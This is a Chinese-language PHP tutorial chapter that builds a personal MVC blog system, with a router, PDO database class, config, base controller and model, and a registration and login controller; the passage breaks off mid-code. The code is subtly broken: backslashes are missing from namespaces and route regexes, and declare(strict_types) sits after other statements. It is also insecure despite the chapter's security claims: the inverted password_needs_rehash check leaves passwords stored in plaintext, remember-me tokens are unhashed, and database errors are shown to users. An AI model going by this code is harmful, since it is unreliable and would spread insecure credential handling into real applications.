第8章:实战综合应用 – 构建个人博客系统
章节介绍
学习目标
通过本章的学习,你将能够:
运用MVC设计模式构建完整的Web应用程序整合前7章所学知识(OOP、安全、异常处理、性能优化等)到实际项目中掌握从前端控制器到路由解析的完整开发流程实现用户认证、数据CRUD操作等核心功能模块编写符合PSR规范的、可维护的PHP代码结构
在整个教程中的作用
本章是整本教程的收官之作和综合实践环节.它并非孤立的知识点讲解,而是将前面所有章节的核心技能——面向对象编程、错误处理、安全防护、性能优化、现代PHP特性等——有机整合到一个真实的项目开发场景中.通过构建一个完整的个人博客系统,你将亲身体验从零开始搭建应用程序的全过程,从而将分散的知识点串联起来,形成完整的开发能力体系.
与前面章节的衔接
第1章OOP知识:用于设计Models和Controllers的类结构第2章异常处理:在数据库操作和业务逻辑中添加健壮的错误处理第3章安全编程:确保用户认证、数据输入输出的安全性第4章性能优化:应用代码优化原则,了解缓存机制第5章现代PHP:使用Composer管理依赖,应用PHP新特性第6章数据库:实现数据持久化存储第7章前端交互:构建用户界面和表单处理
本章主要内容概览
MVC架构回顾与项目结构设计:规划符合MVC的目录结构Composer与自动加载配置:建立现代化项目基础前端控制器与路由实现:处理HTTP请求并分发给相应控制器数据库层设计与实现:使用PDO和OOP封装数据操作用户认证模块:实现安全的注册、登录、会话管理文章管理模块:完成文章的CRUD操作视图层与前端展示:分离显示逻辑,实现模板渲染项目整合与部署:配置生产环境,优化性能
核心概念讲解
1. MVC模式在PHP中的实现
概念解释:
MVC(Model-View-Controller)是一种软件设计模式,将应用程序分为三个核心组件:
Model(模型):处理数据和业务逻辑,直接与数据库交互View(视图):负责数据展示和用户界面Controller(控制器):接收用户输入,协调Model和View
在PHP中的典型实现方式:
项目结构/
├── app/
│ ├── Controllers/ # 控制器目录
│ ├── Models/ # 模型目录
│ ├── Views/ # 视图目录
│ └── Core/ # 核心类(数据库、路由等)
├── public/
│ └── index.php # 前端控制器(单一入口)
├── vendor/ # Composer依赖
└── composer.json # 项目配置
工作原理:
所有请求都指向(前端控制器)前端控制器初始化应用,解析URL路由根据路由将请求分发给对应的ControllerController调用Model处理业务逻辑和数据库操作Model返回数据给ControllerController将数据传递给View进行渲染View生成HTML响应返回给用户
public/index.php
2. 前端控制器与路由解析
前端控制器模式:
前端控制器是一个集中处理所有HTTP请求的单一入口点.它的优势在于:
统一的安全检查(如CSRF验证)集中的错误处理统一的会话管理便于实现URL重写和友好URL
路由解析的两种常见方式:
基于查询参数:基于URL重写:
index.php?controller=post&action=show&id=1(通过.htaccess或Nginx配置重写)
/post/show/1
路由组件的工作流程:
解析请求的URL路径匹配预定义的路由规则提取URL中的参数(如ID)实例化对应的控制器类调用指定的方法(action)
3. 现代PHP项目组织最佳实践
PSR标准在项目中的应用:
PSR-1/PSR-12:基本编码规范(文件格式、命名约定等)PSR-4:自动加载规范,与Composer集成PSR-7:HTTP消息接口(可用于更高级的项目)
配置管理与环境变量:
使用配置文件管理数据库连接等敏感信息区分开发、测试、生产环境的配置使用文件存储环境变量(通过vlucas/phpdotenv包)
.env
目录结构设计原则:
分离关注点:不同功能的代码放在不同目录可扩展性:方便添加新功能模块安全性:将公开可访问的文件限制在public目录可维护性:清晰的命名和结构,便于团队协作
代码示例
示例1:项目初始化与Composer配置
<?php
// public/index.php - 前端控制器
// 定义应用根目录路径
define('APP_ROOT', dirname(__DIR__));
// 开启严格类型模式
declare(strict_types=1);
// 开启错误报告(开发环境)
error_reporting(E_ALL);
ini_set('display_errors', '1');
// 引入Composer自动加载
require APP_ROOT . '/vendor/autoload.php';
// 启动会话
session_start();
// 引入应用核心文件
require APP_ROOT . '/app/Core/Router.php';
require APP_ROOT . '/app/Core/Database.php';
require APP_ROOT . '/app/Core/Config.php';
// 加载配置
$config = new AppCoreConfig();
// 初始化数据库连接
try {
$db = new AppCoreDatabase($config->get('database'));
} catch (PDOException $e) {
// 友好的数据库连接错误页面
die('数据库连接失败: ' . $e->getMessage());
}
// 初始化路由
$router = new AppCoreRouter();
// 定义路由规则
$router->add('', ['controller' => 'Home', 'action' => 'index']);
$router->add('{controller}/{action}');
$router->add('{controller}/{id:d+}/{action}');
$router->add('admin/{controller}/{action}', ['namespace' => 'Admin']);
// 获取请求的URL路径(去除查询字符串)
$url = $_SERVER['REQUEST_URI'];
$url = str_replace(dirname($_SERVER['SCRIPT_NAME']), '', $url);
$url = parse_url($url, PHP_URL_PATH);
// 分发路由
$router->dispatch($url);
{
"name": "myblog/blog-system",
"description": "A simple personal blog system built with PHP",
"type": "project",
"require": {
"php": ">=7.4",
"ext-pdo": "*",
"monolog/monolog": "^2.0"
},
"require-dev": {
"phpunit/phpunit": "^9.0"
},
"autoload": {
"psr-4": {
"App\": "app/"
}
},
"authors": [
{
"name": "Your Name",
"email": "your.email@example.com"
}
],
"minimum-stability": "stable",
"prefer-stable": true
}
# 初始化项目
composer init
# 安装依赖
composer require monolog/monolog
# 安装开发依赖
composer require --dev phpunit/phpunit
# 更新自动加载
composer dump-autoload -o
示例2:核心路由类实现
<?php
// app/Core/Router.php
namespace AppCore;
/**
* 简单路由类
* 负责解析URL并将请求分发给对应的控制器
*/
class Router
{
/**
* 路由表
* @var array
*/
private $routes = [];
/**
* 匹配的路由参数
* @var array
*/
private $params = [];
/**
* 添加路由规则
*
* @param string $route 路由模式
* @param array $params 默认参数
* @return void
*/
public function add(string $route, array $params = []): void
{
// 转换路由模式为正则表达式
// {controller} -> (?P<controller>[a-z-]+)
// {action} -> (?P<action>[a-z-]+)
// {id:d+} -> (?P<id>d+)
$route = preg_replace('/{([a-z]+)}/', '(?P<1>[a-z-]+)', $route);
$route = preg_replace('/{([a-z]+):([^}]+)}/', '(?P<1>2)', $route);
$route = '/^' . str_replace('/', '/', $route) . '$/i';
$this->routes[$route] = $params;
}
/**
* 匹配URL到路由
*
* @param string $url 请求的URL
* @return bool 是否匹配成功
*/
public function match(string $url): bool
{
// 移除首尾的斜杠
$url = trim($url, '/');
foreach ($this->routes as $route => $params) {
if (preg_match($route, $url, $matches)) {
// 提取命名捕获组
foreach ($matches as $key => $match) {
if (is_string($key)) {
$params[$key] = $match;
}
}
$this->params = $params;
return true;
}
}
return false;
}
/**
* 分发请求到控制器
*
* @param string $url 请求的URL
* @return void
* @throws Exception 当控制器或方法不存在时
*/
public function dispatch(string $url): void
{
if (!$this->match($url)) {
throw new Exception("没有找到匹配的路由: $url", 404);
}
// 获取控制器类名
$controller = $this->params['controller'] ?? 'Home';
$controller = $this->convertToStudlyCaps($controller);
$controller = $this->getNamespace() . $controller . 'Controller';
// 获取方法名
$action = $this->params['action'] ?? 'index';
$action = $this->convertToCamelCase($action);
// 检查控制器类是否存在
if (!class_exists($controller)) {
throw new Exception("控制器不存在: $controller", 404);
}
// 实例化控制器
$controllerObject = new $controller($this->params);
// 检查方法是否存在且可调用
if (!method_exists($controllerObject, $action)) {
throw new Exception(
"方法 $action 在控制器 $controller 中不存在",
404
);
}
// 调用控制器方法
$controllerObject->$action();
}
/**
* 转换字符串为StudlyCaps格式(首字母大写的驼峰)
*
* @param string $string 输入字符串
* @return string 转换后的字符串
*/
private function convertToStudlyCaps(string $string): string
{
return str_replace(' ', '', ucwords(str_replace('-', ' ', $string)));
}
/**
* 转换字符串为驼峰格式
*
* @param string $string 输入字符串
* @return string 转换后的字符串
*/
private function convertToCamelCase(string $string): string
{
return lcfirst($this->convertToStudlyCaps($string));
}
/**
* 获取控制器命名空间
*
* @return string 命名空间字符串
*/
private function getNamespace(): string
{
$namespace = 'AppControllers\';
if (array_key_exists('namespace', $this->params)) {
$namespace .= $this->params['namespace'] . '\';
}
return $namespace;
}
/**
* 获取当前路由参数
*
* @return array 路由参数
*/
public function getParams(): array
{
return $this->params;
}
}
示例3:数据库连接与配置类
<?php
// app/Core/Database.php
namespace AppCore;
use PDO;
use PDOException;
use AppCoreLogger;
/**
* 数据库连接类(使用单例模式)
* 封装PDO连接,提供安全的数据库操作方法
*/
class Database
{
/**
* 数据库连接实例
* @var PDO|null
*/
private static $connection = null;
/**
* 构造函数(私有化,防止外部实例化)
*
* @param array $config 数据库配置
*/
private function __construct(array $config)
{
$dsn = sprintf(
'mysql:host=%s;dbname=%s;charset=%s',
$config['host'],
$config['database'],
$config['charset']
);
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
];
try {
self::$connection = new PDO(
$dsn,
$config['username'],
$config['password'],
$options
);
Logger::info('数据库连接成功');
} catch (PDOException $e) {
Logger::error('数据库连接失败: ' . $e->getMessage());
throw $e;
}
}
/**
* 获取数据库连接实例(单例模式)
*
* @param array $config 数据库配置
* @return PDO 数据库连接
*/
public static function getInstance(array $config): PDO
{
if (self::$connection === null) {
new self($config);
}
return self::$connection;
}
/**
* 执行查询并返回所有结果
*
* @param string $sql SQL语句
* @param array $params 参数数组
* @return array 查询结果
* @throws PDOException 当查询失败时
*/
public static function query(string $sql, array $params = []): array
{
try {
$stmt = self::$connection->prepare($sql);
$stmt->execute($params);
return $stmt->fetchAll();
} catch (PDOException $e) {
Logger::error('数据库查询失败: ' . $e->getMessage());
throw $e;
}
}
/**
* 执行查询并返回单行结果
*
* @param string $sql SQL语句
* @param array $params 参数数组
* @return array|null 单行结果或null
*/
public static function querySingle(string $sql, array $params = []): ?array
{
try {
$stmt = self::$connection->prepare($sql);
$stmt->execute($params);
$result = $stmt->fetch();
return $result ?: null;
} catch (PDOException $e) {
Logger::error('数据库查询失败: ' . $e->getMessage());
throw $e;
}
}
/**
* 执行插入、更新、删除操作
*
* @param string $sql SQL语句
* @param array $params 参数数组
* @return int 受影响的行数
*/
public static function execute(string $sql, array $params = []): int
{
try {
$stmt = self::$connection->prepare($sql);
$stmt->execute($params);
return $stmt->rowCount();
} catch (PDOException $e) {
Logger::error('数据库操作失败: ' . $e->getMessage());
throw $e;
}
}
/**
* 获取最后插入的ID
*
* @return string 最后插入的ID
*/
public static function lastInsertId(): string
{
return self::$connection->lastInsertId();
}
/**
* 开始事务
*
* @return bool 是否成功
*/
public static function beginTransaction(): bool
{
return self::$connection->beginTransaction();
}
/**
* 提交事务
*
* @return bool 是否成功
*/
public static function commit(): bool
{
return self::$connection->commit();
}
/**
* 回滚事务
*
* @return bool 是否成功
*/
public static function rollBack(): bool
{
return self::$connection->rollBack();
}
}
<?php
// app/Core/Config.php
namespace AppCore;
/**
* 配置管理类
* 负责加载和管理应用程序配置
*/
class Config
{
/**
* 配置数据
* @var array
*/
private $config = [];
/**
* 构造函数
* 从配置文件加载配置
*/
public function __construct()
{
// 加载主配置文件
$mainConfig = require APP_ROOT . '/config/main.php';
$this->config = array_merge($this->config, $mainConfig);
// 根据环境加载不同的配置
$env = $this->get('environment', 'development');
$envConfigFile = APP_ROOT . "/config/{$env}.php";
if (file_exists($envConfigFile)) {
$envConfig = require $envConfigFile;
$this->config = array_merge($this->config, $envConfig);
}
}
/**
* 获取配置值
*
* @param string $key 配置键(支持点号访问多维数组,如'database.host')
* @param mixed $default 默认值
* @return mixed 配置值
*/
public function get(string $key, $default = null)
{
$keys = explode('.', $key);
$value = $this->config;
foreach ($keys as $k) {
if (!isset($value[$k])) {
return $default;
}
$value = $value[$k];
}
return $value;
}
/**
* 设置配置值
*
* @param string $key 配置键
* @param mixed $value 配置值
* @return void
*/
public function set(string $key, $value): void
{
$keys = explode('.', $key);
$config = &$this->config;
foreach ($keys as $k) {
if (!isset($config[$k]) || !is_array($config[$k])) {
$config[$k] = [];
}
$config = &$config[$k];
}
$config = $value;
}
/**
* 检查配置是否存在
*
* @param string $key 配置键
* @return bool 是否存在
*/
public function has(string $key): bool
{
$keys = explode('.', $key);
$value = $this->config;
foreach ($keys as $k) {
if (!isset($value[$k])) {
return false;
}
$value = $value[$k];
}
return true;
}
}
<?php
// config/main.php - 主配置文件
return [
// 应用设置
'app' => [
'name' => '我的个人博客',
'url' => 'http:// localhost:8000',
'timezone' => 'Asia/Shanghai',
],
// 数据库默认配置
'database' => [
'host' => 'localhost',
'database' => 'myblog',
'username' => 'root',
'password' => '',
'charset' => 'utf8mb4',
'prefix' => 'blog_',
],
// 会话设置
'session' => [
'name' => 'BLOG_SESSION',
'lifetime' => 7200, // 2小时
'secure' => false, // 仅在HTTPS下启用
'httponly' => true, // 防止XSS获取Cookie
],
// 安全设置
'security' => [
'csrf_token_name' => 'csrf_token',
'password_algo' => PASSWORD_BCRYPT,
'password_options' => [
'cost' => 12,
],
],
// 默认环境
'environment' => 'development',
];
示例4:基础控制器与模型类
<?php
// app/Core/Controller.php
namespace AppCore;
/**
* 基础控制器类
* 所有控制器的基类,提供通用功能
*/
abstract class Controller
{
/**
* 路由参数
* @var array
*/
protected $params = [];
/**
* 数据库连接
* @var PDO
*/
protected $db;
/**
* 构造函数
*
* @param array $params 路由参数
*/
public function __construct(array $params = [])
{
$this->params = $params;
// 获取数据库连接
$config = new Config();
$this->db = Database::getInstance($config->get('database'));
}
/**
* 渲染视图
*
* @param string $view 视图文件名(不含扩展名)
* @param array $data 传递给视图的数据
* @return void
*/
protected function render(string $view, array $data = []): void
{
// 提取数据为变量
extract($data, EXTR_SKIP);
// 视图文件路径
$viewFile = APP_ROOT . "/app/Views/{$view}.php";
if (!file_exists($viewFile)) {
throw new Exception("视图文件不存在: {$viewFile}");
}
// 包含视图文件
require $viewFile;
}
/**
* 重定向到指定URL
*
* @param string $url 目标URL
* @param int $statusCode HTTP状态码
* @return void
*/
protected function redirect(string $url, int $statusCode = 302): void
{
header("Location: $url", true, $statusCode);
exit;
}
/**
* 获取POST数据
*
* @param string $key 键名
* @param mixed $default 默认值
* @return mixed 数据值
*/
protected function getPost(string $key, $default = null)
{
return $_POST[$key] ?? $default;
}
/**
* 获取GET数据
*
* @param string $key 键名
* @param mixed $default 默认值
* @return mixed 数据值
*/
protected function getQuery(string $key, $default = null)
{
return $_GET[$key] ?? $default;
}
/**
* 验证CSRF令牌
*
* @return bool 是否验证通过
*/
protected function validateCsrfToken(): bool
{
$tokenName = (new Config())->get('security.csrf_token_name', 'csrf_token');
$sessionToken = $_SESSION[$tokenName] ?? null;
$postToken = $this->getPost($tokenName);
return !empty($sessionToken) && !empty($postToken)
&& hash_equals($sessionToken, $postToken);
}
/**
* 生成CSRF令牌
*
* @return string CSRF令牌
*/
protected function generateCsrfToken(): string
{
$tokenName = (new Config())->get('security.csrf_token_name', 'csrf_token');
$token = bin2hex(random_bytes(32));
$_SESSION[$tokenName] = $token;
return $token;
}
/**
* 设置闪存消息(一次性会话消息)
*
* @param string $type 消息类型(success, error, warning, info)
* @param string $message 消息内容
* @return void
*/
protected function setFlash(string $type, string $message): void
{
$_SESSION['flash_messages'][] = [
'type' => $type,
'message' => $message,
];
}
/**
* 获取闪存消息
*
* @return array 闪存消息数组
*/
protected function getFlashMessages(): array
{
$messages = $_SESSION['flash_messages'] ?? [];
unset($_SESSION['flash_messages']);
return $messages;
}
}
<?php
// app/Core/Model.php
namespace AppCore;
/**
* 基础模型类
* 所有数据模型的基类,提供通用的CRUD操作
*/
abstract class Model
{
/**
* 表名
* @var string
*/
protected $table;
/**
* 主键字段名
* @var string
*/
protected $primaryKey = 'id';
/**
* 允许批量赋值的字段
* @var array
*/
protected $fillable = [];
/**
* 属性数组
* @var array
*/
protected $attributes = [];
/**
* 数据库连接
* @var PDO
*/
protected $db;
/**
* 构造函数
*
* @param array $attributes 属性数组
*/
public function __construct(array $attributes = [])
{
$this->db = Database::getInstance((new Config())->get('database'));
$this->fill($attributes);
}
/**
* 填充模型属性
*
* @param array $attributes 属性数组
* @return self
*/
public function fill(array $attributes): self
{
foreach ($attributes as $key => $value) {
if (in_array($key, $this->fillable)) {
$this->attributes[$key] = $value;
}
}
return $this;
}
/**
* 获取所有记录
*
* @param array $columns 要获取的列
* @return array 记录数组
*/
public function all(array $columns = ['*']): array
{
$columns = implode(', ', $columns);
$sql = "SELECT {$columns} FROM {$this->table}";
return Database::query($sql);
}
/**
* 根据ID查找记录
*
* @param int $id 记录ID
* @param array $columns 要获取的列
* @return self|null 模型实例或null
*/
public function find(int $id, array $columns = ['*']): ?self
{
$columns = implode(', ', $columns);
$sql = "SELECT {$columns} FROM {$this->table} WHERE {$this->primaryKey} = ?";
$result = Database::querySingle($sql, [$id]);
if ($result) {
return new static($result);
}
return null;
}
/**
* 根据条件查找记录
*
* @param array $conditions 条件数组
* @param array $columns 要获取的列
* @return array 记录数组
*/
public function where(array $conditions, array $columns = ['*']): array
{
$columns = implode(', ', $columns);
$whereClauses = [];
$params = [];
foreach ($conditions as $field => $value) {
$whereClauses[] = "{$field} = ?";
$params[] = $value;
}
$where = implode(' AND ', $whereClauses);
$sql = "SELECT {$columns} FROM {$this->table} WHERE {$where}";
$results = Database::query($sql, $params);
$models = [];
foreach ($results as $result) {
$models[] = new static($result);
}
return $models;
}
/**
* 保存模型(插入或更新)
*
* @return bool 是否成功
*/
public function save(): bool
{
if (empty($this->attributes[$this->primaryKey])) {
return $this->insert();
} else {
return $this->update();
}
}
/**
* 插入新记录
*
* @return bool 是否成功
*/
protected function insert(): bool
{
$fields = [];
$placeholders = [];
$values = [];
foreach ($this->attributes as $field => $value) {
if ($field !== $this->primaryKey || !empty($value)) {
$fields[] = $field;
$placeholders[] = '?';
$values[] = $value;
}
}
$fieldsStr = implode(', ', $fields);
$placeholdersStr = implode(', ', $placeholders);
$sql = "INSERT INTO {$this->table} ({$fieldsStr}) VALUES ({$placeholdersStr})";
try {
$result = Database::execute($sql, $values);
if ($result) {
$this->attributes[$this->primaryKey] = Database::lastInsertId();
return true;
}
} catch (PDOException $e) {
Logger::error('插入记录失败: ' . $e->getMessage());
}
return false;
}
/**
* 更新记录
*
* @return bool 是否成功
*/
protected function update(): bool
{
$updates = [];
$values = [];
foreach ($this->attributes as $field => $value) {
if ($field !== $this->primaryKey) {
$updates[] = "{$field} = ?";
$values[] = $value;
}
}
$updatesStr = implode(', ', $updates);
$values[] = $this->attributes[$this->primaryKey];
$sql = "UPDATE {$this->table} SET {$updatesStr} WHERE {$this->primaryKey} = ?";
try {
$result = Database::execute($sql, $values);
return $result > 0;
} catch (PDOException $e) {
Logger::error('更新记录失败: ' . $e->getMessage());
}
return false;
}
/**
* 删除记录
*
* @return bool 是否成功
*/
public function delete(): bool
{
if (empty($this->attributes[$this->primaryKey])) {
return false;
}
$sql = "DELETE FROM {$this->table} WHERE {$this->primaryKey} = ?";
try {
$result = Database::execute($sql, [$this->attributes[$this->primaryKey]]);
return $result > 0;
} catch (PDOException $e) {
Logger::error('删除记录失败: ' . $e->getMessage());
}
return false;
}
/**
* 魔术方法:获取属性
*
* @param string $name 属性名
* @return mixed 属性值
*/
public function __get(string $name)
{
return $this->attributes[$name] ?? null;
}
/**
* 魔术方法:设置属性
*
* @param string $name 属性名
* @param mixed $value 属性值
* @return void
*/
public function __set(string $name, $value): void
{
if (in_array($name, $this->fillable)) {
$this->attributes[$name] = $value;
}
}
/**
* 魔术方法:检查属性是否存在
*
* @param string $name 属性名
* @return bool 是否存在
*/
public function __isset(string $name): bool
{
return isset($this->attributes[$name]);
}
/**
* 魔术方法:获取对象字符串表示
*
* @return string 对象字符串
*/
public function __toString(): string
{
return json_encode($this->attributes, JSON_PRETTY_PRINT);
}
}
示例5:用户模型与认证控制器
<?php
// app/Models/User.php
namespace AppModels;
use AppCoreModel;
use AppCoreLogger;
/**
* 用户模型类
* 处理用户数据的CRUD操作和业务逻辑
*/
class User extends Model
{
/**
* 表名
* @var string
*/
protected $table = 'blog_users';
/**
* 主键字段名
* @var string
*/
protected $primaryKey = 'user_id';
/**
* 允许批量赋值的字段
* @var array
*/
protected $fillable = [
'username',
'email',
'password',
'display_name',
'bio',
'avatar',
'status',
'role',
];
/**
* 根据用户名或邮箱查找用户
*
* @param string $identifier 用户名或邮箱
* @return self|null 用户模型或null
*/
public function findByUsernameOrEmail(string $identifier): ?self
{
$sql = "SELECT * FROM {$this->table} WHERE username = ? OR email = ?";
$result = Database::querySingle($sql, [$identifier, $identifier]);
if ($result) {
return new static($result);
}
return null;
}
/**
* 验证用户密码
*
* @param string $password 密码
* @return bool 密码是否正确
*/
public function verifyPassword(string $password): bool
{
return password_verify($password, $this->attributes['password'] ?? '');
}
/**
* 哈希密码
*
* @param string $password 明文密码
* @return string 哈希后的密码
*/
public static function hashPassword(string $password): string
{
$config = new Config();
$options = $config->get('security.password_options', ['cost' => 12]);
return password_hash($password, PASSWORD_BCRYPT, $options);
}
/**
* 检查用户名是否已存在
*
* @param string $username 用户名
* @return bool 是否已存在
*/
public function usernameExists(string $username): bool
{
$sql = "SELECT COUNT(*) as count FROM {$this->table} WHERE username = ?";
$result = Database::querySingle($sql, [$username]);
return $result && $result['count'] > 0;
}
/**
* 检查邮箱是否已存在
*
* @param string $email 邮箱
* @return bool 是否已存在
*/
public function emailExists(string $email): bool
{
$sql = "SELECT COUNT(*) as count FROM {$this->table} WHERE email = ?";
$result = Database::querySingle($sql, [$email]);
return $result && $result['count'] > 0;
}
/**
* 获取用户角色
*
* @return string 用户角色
*/
public function getRole(): string
{
return $this->attributes['role'] ?? 'user';
}
/**
* 检查用户是否有某个角色
*
* @param string $role 角色名
* @return bool 是否拥有该角色
*/
public function hasRole(string $role): bool
{
return $this->getRole() === $role;
}
/**
* 检查用户是否是管理员
*
* @return bool 是否是管理员
*/
public function isAdmin(): bool
{
return $this->hasRole('admin');
}
/**
* 重写保存方法,自动哈希密码
*
* @return bool 是否成功
*/
public function save(): bool
{
// 如果密码字段存在且未哈希,则进行哈希
if (isset($this->attributes['password'])
&& !empty($this->attributes['password'])
&& !password_needs_rehash($this->attributes['password'], PASSWORD_BCRYPT)) {
$this->attributes['password'] = self::hashPassword($this->attributes['password']);
}
return parent::save();
}
}
<?php
// app/Controllers/AuthController.php
namespace AppControllers;
use AppCoreController;
use AppModelsUser;
use AppCoreLogger;
/**
* 认证控制器
* 处理用户注册、登录、登出等认证相关功能
*/
class AuthController extends Controller
{
/**
* 显示注册页面
*
* @return void
*/
public function register(): void
{
// 如果用户已登录,重定向到首页
if ($this->isLoggedIn()) {
$this->redirect('/');
return;
}
$data = [
'title' => '用户注册',
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('auth/register', $data);
}
/**
* 处理注册表单提交
*
* @return void
*/
public function registerPost(): void
{
// 验证CSRF令牌
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/auth/register');
return;
}
// 获取表单数据
$username = trim($this->getPost('username', ''));
$email = trim($this->getPost('email', ''));
$password = $this->getPost('password', '');
$passwordConfirm = $this->getPost('password_confirm', '');
$displayName = trim($this->getPost('display_name', $username));
// 数据验证
$errors = [];
// 验证用户名
if (empty($username)) {
$errors[] = '用户名不能为空';
} elseif (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
$errors[] = '用户名只能包含字母、数字和下划线,长度3-20位';
}
// 验证邮箱
if (empty($email)) {
$errors[] = '邮箱不能为空';
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors[] = '邮箱格式不正确';
}
// 验证密码
if (empty($password)) {
$errors[] = '密码不能为空';
} elseif (strlen($password) < 6) {
$errors[] = '密码长度不能少于6位';
} elseif ($password !== $passwordConfirm) {
$errors[] = '两次输入的密码不一致';
}
// 如果有错误,返回注册页面并显示错误
if (!empty($errors)) {
foreach ($errors as $error) {
$this->setFlash('error', $error);
}
$data = [
'title' => '用户注册',
'username' => htmlspecialchars($username, ENT_QUOTES, 'UTF-8'),
'email' => htmlspecialchars($email, ENT_QUOTES, 'UTF-8'),
'display_name' => htmlspecialchars($displayName, ENT_QUOTES, 'UTF-8'),
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('auth/register', $data);
return;
}
// 检查用户名和邮箱是否已存在
$userModel = new User();
if ($userModel->usernameExists($username)) {
$this->setFlash('error', '用户名已被使用');
$this->redirect('/auth/register');
return;
}
if ($userModel->emailExists($email)) {
$this->setFlash('error', '邮箱已被注册');
$this->redirect('/auth/register');
return;
}
// 创建新用户
try {
$newUser = new User([
'username' => $username,
'email' => $email,
'password' => $password, // 在save方法中会自动哈希
'display_name' => $displayName,
'status' => 'active',
'role' => 'user',
'created_at' => date('Y-m-d H:i:s'),
]);
if ($newUser->save()) {
Logger::info("新用户注册成功: {$username}");
// 自动登录
$this->loginUser($newUser);
$this->setFlash('success', '注册成功!欢迎来到我的博客');
$this->redirect('/');
} else {
$this->setFlash('error', '注册失败,请稍后重试');
$this->redirect('/auth/register');
}
} catch (Exception $e) {
Logger::error('用户注册失败: ' . $e->getMessage());
$this->setFlash('error', '系统错误,请稍后重试');
$this->redirect('/auth/register');
}
}
/**
* 显示登录页面
*
* @return void
*/
public function login(): void
{
// 如果用户已登录,重定向到首页
if ($this->isLoggedIn()) {
$this->redirect('/');
return;
}
$data = [
'title' => '用户登录',
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('auth/login', $data);
}
/**
* 处理登录表单提交
*
* @return void
*/
public function loginPost(): void
{
// 验证CSRF令牌
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/auth/login');
return;
}
// 获取表单数据
$identifier = trim($this->getPost('identifier', ''));
$password = $this->getPost('password', '');
$remember = $this->getPost('remember', '0') === '1';
// 数据验证
if (empty($identifier)) {
$this->setFlash('error', '用户名或邮箱不能为空');
$this->redirect('/auth/login');
return;
}
if (empty($password)) {
$this->setFlash('error', '密码不能为空');
$this->redirect('/auth/login');
return;
}
// 查找用户
$userModel = new User();
$user = $userModel->findByUsernameOrEmail($identifier);
if (!$user) {
Logger::warning("登录失败: 用户不存在 - {$identifier}");
$this->setFlash('error', '用户名或密码错误');
$this->redirect('/auth/login');
return;
}
// 验证密码
if (!$user->verifyPassword($password)) {
Logger::warning("登录失败: 密码错误 - {$identifier}");
$this->setFlash('error', '用户名或密码错误');
$this->redirect('/auth/login');
return;
}
// 检查用户状态
if ($user->status !== 'active') {
$this->setFlash('error', '账户已被禁用,请联系管理员');
$this->redirect('/auth/login');
return;
}
// 登录用户
$this->loginUser($user, $remember);
Logger::info("用户登录成功: {$identifier}");
$this->setFlash('success', '登录成功!');
// 重定向到之前访问的页面或首页
$redirectUrl = $_SESSION['redirect_url'] ?? '/';
unset($_SESSION['redirect_url']);
$this->redirect($redirectUrl);
}
/**
* 处理用户登出
*
* @return void
*/
public function logout(): void
{
// 清除会话
session_destroy();
// 清除记住我Cookie
if (isset($_COOKIE['remember_token'])) {
setcookie('remember_token', '', time() - 3600, '/');
}
$this->setFlash('success', '您已成功登出');
$this->redirect('/');
}
/**
* 登录用户
*
* @param User $user 用户模型
* @param bool $remember 是否记住登录
* @return void
*/
private function loginUser(User $user, bool $remember = false): void
{
// 设置会话变量
$_SESSION['user_id'] = $user->user_id;
$_SESSION['username'] = $user->username;
$_SESSION['display_name'] = $user->display_name;
$_SESSION['role'] = $user->role;
$_SESSION['logged_in'] = true;
// 如果选择记住我,设置Cookie
if ($remember) {
$token = bin2hex(random_bytes(32));
$expiry = time() + 30 * 24 * 60 * 60; // 30天
// 存储token到数据库(简化版,实际应该存储哈希值)
$sql = "UPDATE blog_users SET remember_token = ? WHERE user_id = ?";
Database::execute($sql, [$token, $user->user_id]);
setcookie('remember_token', $token, $expiry, '/');
}
}
/**
* 检查用户是否已登录
*
* @return bool 是否已登录
*/
public function isLoggedIn(): bool
{
// 检查会话
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
return true;
}
// 检查记住我Cookie
if (isset($_COOKIE['remember_token'])) {
return $this->loginFromRememberToken($_COOKIE['remember_token']);
}
return false;
}
/**
* 从记住我token登录
*
* @param string $token 记住我token
* @return bool 是否登录成功
*/
private function loginFromRememberToken(string $token): bool
{
$sql = "SELECT * FROM blog_users WHERE remember_token = ?";
$result = Database::querySingle($sql, [$token]);
if ($result) {
$user = new User($result);
// 更新token过期时间
$newToken = bin2hex(random_bytes(32));
$expiry = time() + 30 * 24 * 60 * 60;
$updateSql = "UPDATE blog_users SET remember_token = ? WHERE user_id = ?";
Database::execute($updateSql, [$newToken, $user->user_id]);
setcookie('remember_token', $newToken, $expiry, '/');
// 登录用户
$_SESSION['user_id'] = $user->user_id;
$_SESSION['username'] = $user->username;
$_SESSION['display_name'] = $user->display_name;
$_SESSION['role'] = $user->role;
$_SESSION['logged_in'] = true;
return true;
}
return false;
}
/**
* 获取当前登录用户
*
* @return User|null 用户模型或null
*/
public function getCurrentUser(): ?User
{
if (!$this->isLoggedIn()) {
return null;
}
$userId = $_SESSION['user_id'] ?? 0;
if ($userId > 0) {
$userModel = new User();
return $userModel->find($userId);
}
return null;
}
/**
* 检查当前用户是否有权限
*
* @param string $requiredRole 需要的角色
* @return bool 是否有权限
*/
public function hasPermission(string $requiredRole = 'user'): bool
{
$user = $this->getCurrentUser();
if (!$user) {
return false;
}
// 简单的角色层级检查
$roleHierarchy = [
'user' => 1,
'editor' => 2,
'admin' => 3,
];
$userRoleLevel = $roleHierarchy[$user->role] ?? 0;
$requiredRoleLevel = $roleHierarchy[$requiredRole] ?? 0;
return $userRoleLevel >= $requiredRoleLevel;
}
}
示例6:文章模型与控制器
<?php
// app/Models/Post.php
namespace AppModels;
use AppCoreModel;
use AppCoreLogger;
/**
* 文章模型类
* 处理博客文章的CRUD操作
*/
class Post extends Model
{
/**
* 表名
* @var string
*/
protected $table = 'blog_posts';
/**
* 主键字段名
* @var string
*/
protected $primaryKey = 'post_id';
/**
* 允许批量赋值的字段
* @var array
*/
protected $fillable = [
'title',
'slug',
'content',
'excerpt',
'author_id',
'status',
'category_id',
